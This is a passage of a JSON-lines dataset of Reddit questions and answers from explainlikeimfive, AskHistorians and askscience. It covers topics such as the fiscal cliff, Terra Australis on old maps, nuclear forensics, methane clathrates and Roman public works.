constituents that matter are the super conservative ones.\n\nWhat that makeup of congress translates to is, the party in control decides if bills come up for a vote at all. Now, to pass bills, you have to pass two separate bills in each chamber, reconcile them into one big one in a cross-chamber committee, and then re-pass the new bill in both houses. That's a lot of work and cooperation for two groups that hate each other. So the republicans agreed when Obama was elected to not allow him to pass ANY legislation. They actually said it, you can go and look it up. They would purposefully run the country into the ground, betting that the president would be more likely to be blamed then them. This is actually a popular strategy for them, they have been shutting down the govt. as a political act for decades.\n\nSo the republicans are united only in the sense that they can agree to do nothing but cut taxes and slash spending. The democrats operate less as a party and more as a conglomeration of people elected as a rejection of insane tea party mentalities, and because their majorities are always so thin, they can't get anything done. Now you can see the party context for the actual battles they face, like...\n\nThe fiscal cliff! This actually refers to 2 different things. First is that the United States has what's called a debt limit. It's number agreed upon by congress as the maximum amount of debt the US is allowed to take out. This number is essentially meaningless, since they raise it pretty much constantly whenever they need to. Our debt is really on the ups right now - part of that is inflation, the other part is the money we spent on bailing out the economy and the wars. We'll get to what that means later. Although under Bush the republicans raised the debt limit often and without objection, last year they became allergic to it and used it as a bargaining chip to cut spending. Now, fucking with the debt limit is a bad idea, because it literally puts a big halt on almost the entire government. Technically. So the dems had to scramble to make a deal. In the end, Americans hated how it all played out on both sides, so the deal that went through everyone hated - it said if congress can't figure out how to cut spending by next year, it would automatically trigger huge, painful cuts in places both dems and repubs didn't want. So 2012's fiscal cliff was both re-upping the debt ceiling and passing something to avoid these cuts, all while still trying to save money - and in the context of the individual democratic and republican politicians and their races, which i explained a bit earlier. The result is a nearly intractable situation, since no one has much incentive to compromise.\n\nBut, they have to compromise! you say. Otherwise, the cliff! The media said! Well, the amusing thing about this so-called 'cliff' is that it wasn't. The treasury secretary has 'emergency measures' that can delay the debt limit from triggering for a few weeks/months - in fact, he's using them right now, since we never actually came to a deal on the limit. As for the triggered spending cuts (which we did avoid), they wouldn't have mattered right away anyway either. Many govt. departments, including the IRS, made statements at the end of the year saying they would NOT make any changes if a deal was not in place, as they expected one would appear eventually, if not by the deadline, and converting depts. to these new rules which would've ultimately been reversed would've been a waste of millions of dollars.\n\n\nSo, to recap, the parties are at serious ideological odds right now, because the dems only get elected by being broad and varied, so they can't agree on anything, and the repubs only get elected by uniting to a rigid ideology of doing nothing. However, none of this matters because the media, always looking to create excitement, scared up a big story about a fiscal 'cliff' which was really more of a soft slope.\n\nTo explain the plan B vote, which I missed the first time: Boehner was basically in this situation during the fiscal cliff. He could go in and negotiate with the president and then back with his party to find something both would agree to. The president would get the senate to support the plan, and it would pass the house through republican support. That failed. Then he tried his own plan, with the idea being they'd pass a more conservative plan on their own through the house, let it fail in the senate, and hope everyone blamed the democrats. He couldn't even get his own party to support that. So his last and worst option was to renegotiate with the president on a bill that house dems and whatever moderate republicans he could scrounge up could pass. And that's what happened, and the republicans hated him for it. He's not super good at his job, but it's mostly that, as this post is designed to explain, the tea party usually has no reason to compromise.\n\nIf anything, Obama's second term will be less partisan than it was the last 4 years, just because of the demographic shifts the republicans are facing. These tea party guys face a dilemma: stay right wing and ensure re-election until your district re-purples and you go out like the dinosaurs; or move to the middle to try and save your political career, but guarantee a vicious primary where you have to slide back to the right anyway. Only time will tell, and it's important to look at all these individual parts to understand political motivation instead of pinning it on some grand, behind-closed-doors conspiracy. Everyone's just trying to make their dollar.", "_URL_0_\n\nHere is a good rundown of the issue by the Vlog Brothers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.youtube.com/watch?v=V0CvmK0dVcI&amp;list=UUGaVdbSav8xWuFWTadK6loA&amp;index=4"]]}
{"q_id": "dfe8hf", "title": "if antartica was not discovered until the year 1818 then why does it seem to appear on many older maps? dated medieval and before.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dfe8hf/eli5_if_antartica_was_not_discovered_until_the/", "answers": {"a_id": ["f32i97k", "f32i9o1", "f3375fo", "f33dae9", "f33fnz2", "f33hako", "f33iyi3"], "score": [206, 461, 23, 7, 11, 2, 2], "text": ["Any map that shows land where Antarctica really is but before it's discovery is not actually depicting Antarctica but instead a then hypothetical continent called Terra Australis. It's not based on any observations but purely speculative. Various geographers and cartographers just assumed that all the landmass in the northern hemisphere should be balanced out by equal landmass in the southern hemisphere, but they knew places it *couldn't* be from previous exploration, so they put in the place they hadn't been to yet. They just happen to be correct that there was a continent there, but the maps are all pure guesses, so the size and shape varies because it's made up.", "Antartica corresponds with the Terra Australis that in ancient times was believed to be there to balance the lands in the northern hemisphere with lands in the southern one.\n\nHere's a link showing that representation of the earth with balanced lands: _URL_0_", "Well, there is the theory of Terra Australis, but at the same time  \n\n\nmany old maps are copied from older maps that are copied from older maps  \n\n\nand some of those maps are very accurate in their mapping parts of the antarctic coast  \n\n\nThe most famous, the piri reis map, has notations on it by piri reis that say he made his map from copying many older maps", "This is actually one of those \"we don't actually know for sure\" questions. This question is used in a lot of fun conspiracy theories, particularly ones involving aliens interacting with ancient humans or there having been previous advanced civilizations.\n\nThe most likely answer is that someone just made it up and, by coincidence, they happened to be right. Then that design just happened to be the one that got used the most.", "I remember someone pointing out that sailors going way back claimed to be able to tell the difference between an iceberg formed at sea and an iceberg that forms near shore, I suppose because the ones that form on land carry gravel and other non-floating impurities.\n\n & #x200B;\n\nSo sailors puttering around in the Southern Ocean would have seen dirty ice islands and concluded that there was land somewhere, even if they couldn't see it.", "There are ice shelves surrounding most of Antarctica, just as there's ice surrounding the Arctic. Early maps presumed land in both locations under the ice. The 1818 era, (WP dates these as 1819 and beyond), saw the first confirmed sightings of land, as well an early shipwreck there. It may have been presumed that there would be ice on the South pole as well as the North pole from general climactic conditions.", "I expect it\u2019s because we knew something was there, we just couldn\u2019t get to it. Like when you start a video game, you don\u2019t see the full map until you\u2019ve discovered it, but it\u2019s still a foggy spot on your map because you know that there\u2019s something there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.e-manuscripta.ch/doi/10.7891/e-manuscripta-16478"], [], [], [], [], []]}
{"q_id": "36jxa1", "title": "is there a subreddit for finding other subreddits?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36jxa1/eli5_is_there_a_subreddit_for_finding_other/", "answers": {"a_id": ["crelcrp"], "score": [2], "text": ["Yes, there is, it's /r/findareddit. The irony of course is that this question is, itself, not really an ELI5 question - try /r/outoftheloop or, indeed, /r/findareddit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1fccqc", "title": "Is there any way science can determine from physical evidence the country of origin of a nuclear weapon after it has exploded?", "selftext": "The US government [funds](_URL_2_) efforts to determine the origin of an exploded nuclear weapon through the [National Technical Nuclear Forensics Center](_URL_1_) in the Department of Homeland Security.\n\nGiven the energy released is going to be [atomizing](_URL_0_) all physical evidence, what exactly are the forensic scientists going to be looking at? Can science look at relative quantities of isotopes after the fact and figure out that (say) this bomb is a Pakistani/Israeli/US/North Korean/etc. bomb?\n\nI realize that part of this question is political - in the topsy-turvy world of nuclear deterrence, even if there were *no possible way* for today's science to determine country of origin there is still deterrence value in pretending to have that capability. A government considering selling a bomb or weapons grade plutonium/uranium might be deterred if they *thought* that it could be traced back to country of origin.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fccqc/is_there_any_way_science_can_determine_from/", "answers": {"a_id": ["ca8w9tf", "ca8ymz4"], "score": [2, 6], "text": ["A nuclear bomb doesn't really consume much of its nuclear fuel.  It goes off too fast.  A small percent is consumed in the nuclear reaction and the rest gets blasted outwards in the explosion.  The entire area around the detonation site will have a fine coating of the original nuclear material from the bomb.  This can then be analyzed as you mention by the National Technical Nuclear Forensics Center to attempt to determine the origin of the material.", "almost all countires with nuclear weapons have hydrogen designs as well. There is no point making pure fission bombs once you can make fusion boosted ones, because fusion bombs are much more material efficient. (unless you need absolute minimum size and low yield).\n\nThe problem with fusion is that there is multiple stages taking place, including most of the energy coming from fission of a natural uranium casing used to enclose the fusion core. All of these different stages (plutonium primary, D-T or lithium secondary, natural uranium tertiary) all get smeared together in the end. If however, some isotope ratio can be found for one specific element (like plutonium 239 / 240 ratio) can help identify which reactor produced the plutonium.\n\nThe reason this can be done is a given plutonium producing reactor (it needs to be made in a dedicated weapons material producing reactor to reduce the isotopes of contaminants produced) with produce a specific fuel profile.  For example suppose I burn my fuel for 5 hours, and this other country burns it for 5.1 (or a differnt neutron flux, or a different initial uranium purity, or whatever) will create an isotope fingerprint for the weapons fuel used.\n\nI think this is nearly impossible to distinguish bombs with uranium primaries because there is nothing much to distinguish one uranium enrichment from another, it is inconsistent, and on top of that there may be natural uranium used elsewhere int eh bomb like the tamper or the tertiary. I believe plutonium is the best element to fingerprint because of how it is produced."]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/6/67/Tumbler_Snapper_rope_tricks_moire_canceled.jpg", "http://www.dhs.gov/national-technical-nuclear-forensics-center", "http://www.govtrack.us/congress/bills/111/hr730"], "answers_urls": [[], []]}
{"q_id": "3ojovm", "title": "I'm looking for a brief and concise overview of the Spread of Islam. I'm taking a licensing test for Teaching and I really need to brush up on this topic quickly! Thanks!", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ojovm/im_looking_for_a_brief_and_concise_overview_of/", "answers": {"a_id": ["cvxxupr"], "score": [3], "text": ["*In God's Path* by Robert Hoyland is a great, short, single volume work incorporating the latest scholarship on the early conquests."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1co63p", "title": "is a supermodel an actual category? what's the difference between a model and a supermodel?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1co63p/eli5_is_a_supermodel_an_actual_category_whats_the/", "answers": {"a_id": ["c9ieixb", "c9ig9xs"], "score": [7, 5], "text": ["This is a guess, but a model is just any random person you see in regular clothing catalogues and other low key stuff like that.  You don't know who they, are and they are a dime a dozen.  However, supermodels are very popular models that are front page material and are used to promote the more high profile items.  Supermodels are actual celebrities that people keep track of.\n", "You know the name of a supermodel. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4uus54", "title": "How worried should we be about the Clathrate Gun?", "selftext": "[Clathrate gun](_URL_0_)\n\nYear after year is becoming hotter than the last. \n\nScientists are being ['caught off-guard'](_URL_2_) by record temperatures. \n\nNatalia Shakhova [says](_URL_3_) we may have only *DECADES* before things get really bad.\n\n[This thread](_URL_1_) yesterday really scared the shit out of me. Are things really this dire? Could the human race be gone in less than 100 years?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4uus54/how_worried_should_we_be_about_the_clathrate_gun/", "answers": {"a_id": ["d5t0dv8", "d5t0hr9", "d5t225w", "d5t2c91", "d5t2ht6", "d5t2mkg", "d5t2tw2", "d5t3d4t", "d5t6q5w", "d5t6qam", "d5t86ev", "d5tav5y"], "score": [86, 1923, 167, 10, 9, 24, 216, 2, 213, 9, 22, 15], "text": ["The thing you want to think about is the Permian-Triassic extinction event, also called \"The Great Dying\", the worst extinction event in Earth's history. 96% of creatures in the ocean and 70% on land went extinct.\n\nThere are various theories about what caused it. The explanation I like best combines them: perhaps a few impact events, an increase in vulcanism dumping CO2 in the air, and eventually, the firing of the clathrate gun. It's hard to be sure what happened, however.\n\nThe good news is it took about 100,000 years to happen. We're capable of shifting the Earth's climate much more quickly, but I have a hard time imagining the relatively meager shift (we've gone up to 400ppm CO2, compared to 2000 ppm for this event) we've produced so far could have this effect in the near future (but also note I have almost no idea what I'm talking about here).\n\n_URL_0_", "There is at the present, to my knowledge, no consensus on the immediacy of a \"smoking\" global  &  catastrophic clathrate gun. I believe it is worth quoting at length the conclusion of the following recent study ([Ruppel, C. D. (2011) Methane Hydrates and Contemporary Climate Change. Nature\nEducation Knowledge 3(10):29](_URL_0_)):\n\n*Catastrophic, widespread dissociation of methane gas hydrates* **will not be triggered by continued climate warming at contemporary rates** *(0.2\u00baC per decade; IPCC 2007) over timescales of a few hundred years. Most of Earth's gas hydrates occur at low saturations and in sediments at such great depths below the seafloor or onshore permafrost that they will barely be affected by warming over even 103 yr. Even when CH4 is liberated from gas hydrates, oxidative and physical processes may greatly reduce the amount that reaches the atmosphere as CH4. The CO2 produced by oxidation of CH4 released from dissociating gas hydrates will likely have a greater impact on the Earth system (e.g., on ocean chemistry and atmospheric CO2 concentrations; Archer et al. 2009) than will the CH4 that remains after passing through various sinks.*\n\nThat being said, it appears that there might indeed be a *localized* increase in clathrate destabilisation in some specific settings such as the relatively shallow Arctic continental shelves (*Op. cit.*), but the rate and actual scale of this phenomenon, as well as what actually happens to the released gasses (does it remain in solution? does it get degraded by microbes?), remains to be determined.", "Agree with the other posters here that the jury's still out on the clathrate gun hypothesis.  It's worth pointing out that very rapid climate warming have occurred before (at the end of the [Younger Dryas](_URL_1_), most recently), and while those events did see big [changes in atmospheric methane](_URL_0_), they probably did *not* trigger major extinction events.", "The article says that events like this have happened in the past, but just over a much slower time scale,  Does anyone have any idea how high the temperatures have reached in the past under a natural methane bloom? ", "from your link it says\n\n > there is stronger evidence that runaway methane clathrate breakdown may have caused drastic alteration of the ocean environment (such as ocean acidification and ocean stratification) \n\nwe are seeing the bleaching of 90% of the corals in the great barrier reefs. the article below links the bleaching to ocean warming and acidification.\n \nThe question then is how much is the methane clathrate release contributing to the ocean warming, and if we are past the point of no return or if it is just one of the early warning signals that we should heed.\n\n > coral bleaching is also \"the most widespread and conspicuous impact of climate change,\" according to the U.N.'s Intergovernmental Panel on Climate Change. \n \n_URL_0_", "Serious question from a non-scientist, would it be possible to \"pump\" harmful greenhouse gasses from below the atmosphere \"wall\" directly to beyond our atmosphere into space to maintain the equilibrium livable conditions we currently have? So if this happened in a specific location, we could channel the gas release to outside our atmosphere.\n\nIs that possible? Am I way off-base?\n\nEdit: Thank you to those who answered and not making me feel too silly. ", "To cast some hope into the darkness - we've had a big uptick in renewable energy production since 2010, enough to signify a relatively soon-ish departure from fossil fuels on a large scale:\n\n_URL_0_", "Is it a similar thing with Carbon and risk of greenhouse gases?  Like are we worried that since we are using fossil fuels we are putting the CO2 into the environment much quicker than would naturally be occurring just like the Clathrate?", "Hello,\n\nI'm a Ph.D. student working in the field of gas hydrates. I work with methane hydrates in looking at how they form and how we can inhibit their formation.\n\nGas hydrates formation is a crystallization process and as such, has a [thermodynamic equilibrium line](_URL_2_). If your system has high pressure or low temperature, driving your operating condition on the region promoting gas hydrate formation, they will form at nucleation sites. This graph however is on a pure water-methane system and the ocean contains a plethora of other gases which, when combined into your system, will have a different equilibrium curve. \n\nHowever, whatever that curve may be, an increase in temperature will lower the driving force of hydrate formation and if the temperature rises sufficiently to be above the thermodynamic equilibrium, the hydrate will melt and release the gases within. These gases rise above the sea level and reach the atmosphere where they act as greenhouse gases and further accelerate global warming. This is a feed positive system where temperature increase drives the increase in temperature to accelerate.\n\nThings are already getting quite bad. The rate of release of these gases is accelerating and we don't have the technology to properly contain these gases and use them for our benefit. \n\nThe permafrost region and ocean beds are riddled (sorry for the non scientific language) with gas [hydrate banks](_URL_0_). Estimates put the amount of gas from hydrates at 3 times as much as commercially exploited reserves in the form of natural gas, oil, and coal, combined. Unless the hydrate system is further studied and better understood, the release in methane will only further increase. \n\nFun fact: Scientists lit a cave of natural gas on fire in 1971 expecting it to only burn for a few days; it still burns till this day. it has been nicknamed \"[The Door to Hell](_URL_1_)\"\n\nI can do an science AMA on this topic with more detailed answers if the interest is present!", "I'll post what I wrote in another thread about the potential to curb methane release from clathrates. Would love to hear from knowledgable people on the subject; \n\nI think there is significant potential to curb methane release from these melting clathrates by utilizing methane-eating bacteria, or methanotrophs. These organisms likely already live by these methane sources, feeding off of whatever abiotic or biotic methane sources that lead to the production of the clathrates. An increase of methane flux would no doubt cause an increase of methanotroph population growth.\n\n\nIt gets somewhat complicated because methanotrophs REQUIRE another organism to help them metabolize methane, and those are called sulfate reducing bacteria. So long as there are ample quantities of sulfate, then there will be enough sulfate reducers to fuel the methanotrophs. This may require injection of sulfate into deep water clathrate sites, but the potential to curb methane escape into the atmosphere from clathrates could be huge.\n\n\nedit: Pursuing geobiology PhD", "Also keep in mind that we have the technology needed to convert atmospheric CO2, methane and other gasses into solid waste that could be permanently stored.\n\nAll we would need is the will and the massive quanities of energy needed to power such a global process. Which we as humans could do in decades if things start to get really bad (they haven't yet, we've got 100 years). So all we really need is another 20 years development into renewable energy or fusion and then we build a planet-sized air purifier.\n\nExamples:\n[CO2 - >  Carbon nanotubes](_URL_0_)\n\n[Methane oxidation](_URL_1_)", "Well, instead of terraforming Mars, we will end up terraforming Earth.\n\nI say start now with a complete transformation of energy to (mainly) solar. Solar needs no distribution system (although having one on hand will make the job easier), solar can be used either directly, or by first creating electricity. It is fusion energy that is ready, here and now."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Clathrate_gun_hypothesis", "https://www.reddit.com/r/worldnews/comments/4ur3qh/scientists_caught_offguard_by_record_temperatures/", "http://www.reuters.com/article/us-weather-climatechange-science-idUSKCN1061RH?rpc=401", "https://www.youtube.com/watch?v=kx1Jxk6kjbQ"], "answers_urls": [["https://en.wikipedia.org/wiki/Permian%E2%80%93Triassic_extinction_event"], ["http://pm22100.net/docs/pdf/enercoop/energie/gaz/130316_Methane_Hydrates_and_Contemporary_Climate_Change.pdf"], ["http://www.nature.com/ngeo/journal/v4/n5/fig_tab/ngeo1140_F1.html", "https://en.wikipedia.org/wiki/Younger_Dryas"], [], ["http://edition.cnn.com/2016/04/20/asia/great-barrier-reef-coral-bleaching/"], [], ["https://en.m.wikipedia.org/wiki/World_energy_consumption"], [], ["https://alfinnextlevel.files.wordpress.com/2014/03/energy_from_ice.jpg", "http://i.huffpost.com/gen/1473692/images/o-DOORTOHELL1-facebook.jpg", "https://upload.wikimedia.org/wikipedia/commons/b/b4/Methane_Hydrate_phase_diagram.jpg"], [], ["http://www.kurzweilai.net/converting-atmospheric-carbon-dioxide-into-carbon-nanotubes-for-use-in-batteries", "http://www.nature.com/nature/journal/v465/n7294/full/nature08992.html"], []]}
{"q_id": "3a7xb4", "title": "what does the phrase \"as it were\" actually mean, and in what situation should it be used?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3a7xb4/eli5_what_does_the_phrase_as_it_were_actually/", "answers": {"a_id": ["csa3m0k"], "score": [2], "text": ["It actually means \"In a way\" and is typically used when trying to be less precise. Basically agreeing to some extent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35w58s", "title": "Wondering about an old organization", "selftext": "Hi /r/askhistorians! \nI stumbled across a stamp on a post card (not a paid stamp, this is like an ink stamp) referencing an organization called \"Monda Ligo\". \nOther than a few random Google Books results and Ebay listings, there is nothing I can find about this organization.\nThe stamp says \"Monda Ligo\" inside of it, and includes an insignia that says \"Correspondence  &  Exchange Club\". The insignia includes two earths side by side with a letter in between. \nI can gather that it may have been a club devoted to stamp collecting, but that is about it. \nDoes anyone know what Monda Ligo is??", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/35w58s/wondering_about_an_old_organization/", "answers": {"a_id": ["cr8f64m"], "score": [3], "text": ["It means *World League* in Esperanto."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8kjips", "title": "What was 1286 Orkney like?", "selftext": "A friend from university challenged me to write a story on a what if story; What if Margaret the maid of Norway lived. So being a conisiure of both history and sci-fi, the story I eventually wrote was about two time travelers hoping to experience William Wallace's revolt. But mess up up the date and place and it all culminates in saving the young would-be queen.\n\nUpon reviewing my work, the lack of knowledge in this era was as clear as day.\n\nSo what could the two Chrononauts expect in their unexpected journey?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8kjips/what_was_1286_orkney_like/", "answers": {"a_id": ["dz8cfc6"], "score": [11], "text": ["I recommend that you look for a copy of Bo Almqvist, edited by \u00c9il\u00eds N\u00ed Dhuibhne and S\u00e9amas \u00d3 Cath\u00e1in, Viking Ale: Studies on Folklore Contacts between the Northern and the Western Worlds (Aberystwyth: Boethius, 1991). He argues that medieval Orkney was something of a 'Venice of the North'. It was a mercantile center that reached out to Scandinavia, Britain, Ireland, and Iceland. Medieval Orkney was at a maritime crossroads that gave made it cosmopolitan and wealthy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ke5kg", "title": "Before birth control, how many children was it normal for a couple to have?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ke5kg/before_birth_control_how_many_children_was_it/", "answers": {"a_id": ["cbo7228", "cbocbmj"], "score": [8, 4], "text": ["It might be helpful if you could specify a time and world region.  Modern humans have been around for 200,000 years.", "Not a historian, but I deal with a lot of historical estate filings in my work, which tend from the period about 1800-present in the Appalachian region of the United States.  Prior to about 1940, it was not uncommon for a family to have upwards of a dozen children, or more, but families with that number of children weren't really ubiquitous, either.  I'd estimate that maybe 40% of people prior to 1940 had 4 or more children, and maybe 10-15% had 8 or more.  (These are just rough \"off the top of my head\" numbers.)  \n\nIn a state like West Virginia, the average number of children will vary greatly between different areas within the state, and between cities and rural areas.  As an example, W. Anderson \"Devil Anse\" Hatfield (of Hatfield and McCoy Feud fame) had at least 9 children.  I've seen his estate filings, but I no longer have copies - anecdotally, I did not realize at the time that the Hatfields I was dealing with were, in fact, THE Hatfields.  Someone in the metropolitan centers of Charleston or Wheeling, however, would be unlikely to have that many children.  Obviously, the number would vary greatly among families, but there was certainly more of a propensity to have large families as recently as the 1920s and 1930s in this region.  \n\nMY TOTAL SPECULATION, I CAN REMOVE IF ASKED BY MODERATOR: I imagine this was not uncommon in any area where farm labor was a necessity of life - more kids means you don't have to pay people, particularly before the onset of child labor laws, etc.\n\nEDIT: Just to source my sampling, I've conducting real estate/title research in about 85% of the counties in West Virginia, and also a number of counties in eastern Ohio, southwestern PA, eastern Kentucky, and the Virginia panhandle.  Over the course of 10 years, I would posit that I have reviewed at least 3000-5000 separate estate filings in those areas, filed between 1790 (or so) through the present.  If this is not a sufficient basis for my comments, I will gladly remove this post.\n\nEDIT 2: I failed to mention that estate filings generally include a list of the lineal descendants of a person who has died, if any, as a matter of course."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1djzks", "title": "Who built the Roman public works, slaves or free men?", "selftext": "Rome is famous for their roads, aqueducts and all this other stuff.  Lets focus on the imperial period.  If they wanted a public work like a road would they contract out the work to a guy with engineers and slaves or would they do it themselves with soldiers or some other way I don't know about.  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1djzks/who_built_the_roman_public_works_slaves_or_free/", "answers": {"a_id": ["c9r227l", "c9r7vpf"], "score": [4, 2], "text": ["Well the roads were built and maintained by soldiers--they were a military construction first and foremost.\n\nBut for civic constructions like aqueducts, theaters and the like it is kind of difficult to know, and was probably a mix. The actual construction would be contracted out to builders (*aedificatores*, I think) who would use their own team to do the actual work. As Roman engineering was extremely high sophistication, we should imagine these as highly professional groups, probably composed of slaves, freedmen, and freeborn, with freedmen probably having the highest status.", "The Roman Army Engineers did a lot of things for Civic construction -- roads, aqueducts, dams, bridges, mines, reservoirs, walls et al. \n\nThe philosophy of \"idle hands do the devil's work\" was in full affect. If a legion wasn't fighting, keeping it busy kept them both in shape and too preoccupied to rebel.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1s73bw", "title": "why is that once i notice someone looking at me walking, i forget how to walk properly and start doing weird things?", "selftext": "Every time I notice someone looking at me, I start walking weird and dropping things. I can't prevent it either.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1s73bw/eli5why_is_that_once_i_notice_someone_looking_at/", "answers": {"a_id": ["cdumddl", "cduwn4g"], "score": [7, 4], "text": ["It's the Hawthorne effect and has to be accounted for during studies. Okay well, it's not exactly this but similiar. \n\n_URL_0_", "\"Walking properly\" is mostly a muscle memorized act, kind of like a reflex of needing to go from point A to point B. When someone looks at you, you tend to start consciously thinking about how you are walking which is actually the reason you start fumbling around. If you think about it, you don't have to physically think to yourself when you walk (lift right quad, extend leg, land, lift left... etc). The act of thinking about your gait causes you to fumble.\n\nThe same phenomena can be seen when LeBron used to choke. (sorry for the dig). Any athlete has trained his/her body to the point where they don't have to think about (for example) how to shoot a free throw. When it's down to the last second, down by 1 and you've just been fowled, you start to over think which cases your brain to override what your muscles already know. I hope this analogy is familiar to you in some way! have a good night!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Hawthorne_effect"], []]}
{"q_id": "1f7dcl", "title": "When did we find out what exactly was outside of earths atmosphere?", "selftext": "Ancient man always payed attention to stars, the moon and the sun but really when did old scholars or scientists finally realize that we are just a floating sphere in space and as well find out space was just a big empty vacuum?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1f7dcl/when_did_we_find_out_what_exactly_was_outside_of/", "answers": {"a_id": ["ca7icmp", "ca7lv6c"], "score": [9, 3], "text": ["Somebody asked the exact same question yesterday: _URL_0_", "This might be a better question for /r/AskHistorians. There are a few science historians around here, but more over there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/askscience/comments/1f6k5g/at_what_point_in_history_did_we_first_know_and/"], []]}
{"q_id": "5ccf53", "title": "Were the Founding Fathers hunted/sought by the British during The War of 1812?", "selftext": "Were the Founding Fathers in more danger during the war or had they passed away from the public eye?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ccf53/were_the_founding_fathers_huntedsought_by_the/", "answers": {"a_id": ["d9vwumd"], "score": [4], "text": ["In general, did the British see the War of 1812 as \"revenge\" for the American Revolution?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "at1dy7", "title": "Is the film queen mary of scots accurate", "selftext": "In the film we see that a black man in a noble in queen Elizabeth's court is it accurate that black people were given such high positions or is it just to diversify the caste of the movie", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/at1dy7/is_the_film_queen_mary_of_scots_accurate/", "answers": {"a_id": ["egy1iub"], "score": [4], "text": ["*[Adapted from a previous answer](_URL_4_)\n\nSome Europeans courts did have African servants. The best known example is John Blanke, a black musician who went to England with Catherine of Aragon and later worked for Henry VIII, becoming a relatively well-known member of Henry's entourage.\n\nHowever, all the titled nobility and virtually all of the servants in European courts were European.\n\nWhy does the movie present something different? The makeup of Mary and Elizabeth's courts was a deliberate and explicit artistic choice on the part of director Josie Rourke. Rourke has explicitly said as much:\n\n > \u201cI was really clear, I would not direct an all-white period drama. Adrian \\[Lester\\], who plays, Lord Randolph, grew up 40 miles from the birthplace of William Shakespeare; he is one of our eminent Shakespearean actors. I needed to cast an ambassador who could move between the two courts and help this make sense. I don\u2019t understand why you wouldn\u2019t cast him.\u201d\n\nRourke's position lead to some casting choices where the courts of Mary and Elizabeth look less racially homogenous than they actually were. Of course\" Mary and Elizabeth's courts (Mary's in particular) were quite diverse in terms of nationalities - there were courtiers from all over Europe.\n\nAs a result of Rourke's choices, many actors in the film don't resemble historical people they're playing (not that this is admittedly a new phenomenon in Hollywood!)\n\nThe ambassador \"Lord Randolph\" Rourke mentioned earlier is based on Thomas Randolph, one of Queen Elizabeth's secret agents and ambassadors. As far as I know there's no known portraits of him - however, he wasn't of African origin or even mixed-race.\n\n[Adrian Lester as \"Lord Randolph\"](_URL_0_)\n\nBess of Hardwick (aka Elizabeth Cavendish, aka Elizabeth Talbot, Countess of Shrewsbury) was an English courtier and noblewoman. She's played by a Briton of Chinese ancestry, Gemma Chan.\n\n[Gemma Chan as Bess of Hardwick](_URL_1_)\n\n[The real Bess of Hardwick](_URL_5_)\n\nOne of Mary's companions, Lady Mary Seton, was born to a Scottish father and a French mother.\n\n[Izuka Hoyle's portrayal of Lady Mary Seton](_URL_3_)\n\n[The real Lady Mary Seton](_URL_2_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://imgur.com/jID1bdh", "https://imgur.com/EhJqb9y", "https://imgur.com/Sa74p0E", "https://imgur.com/0Gg9AnW", "https://www.reddit.com/r/AskHistorians/comments/ak24j4/comment/ef22nx6", "https://imgur.com/InonjAU"]]}
{"q_id": "3wjk2c", "title": "if china claims to be a communist country, what reasons do they give for not having stronger labor laws?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wjk2c/eli5_if_china_claims_to_be_a_communist_country/", "answers": {"a_id": ["cxwp7te", "cxwq4oe", "cxx7xit", "cxxbh0z", "cxxfxw5"], "score": [8, 9, 3, 2, 2], "text": ["Although China still claims to be Communist, they are today more properly classifiable as Fascist.  That is: a government with totalitarian power that harnesses private industry in service of the goals of the ruling clique.", "First of all, the Communist Party of China has never valued a person\u2019s life individually only the group does count and requires every sacrifice of the individual. This was so back when Mao was Chairman (e.g. 1958) and didn\u2019t change much.\nThe other point is that the Party has nothing much left of its Communism, if it was ever there. They decided back in the 80s that they wanted to be one of the countries with the largest GDP and so far they seem to be on a pretty good track, if you ignore the costs on the population and the environment.", "The best way to answer your question is to say that since the 90s China has generally decided to prioritize economic growth at the expense of ideological purity. ", "China hasn't been striving for communism since about 1976. Its a one party authoritarian state, but as a communist party, its really just a name at this point.\n\nAre there some communists in the communist party? Sure, but they are agressively state capitalist and are becoming increasingly neo liberal.\n\n\n\n", "It doesn't matter what a country claims to 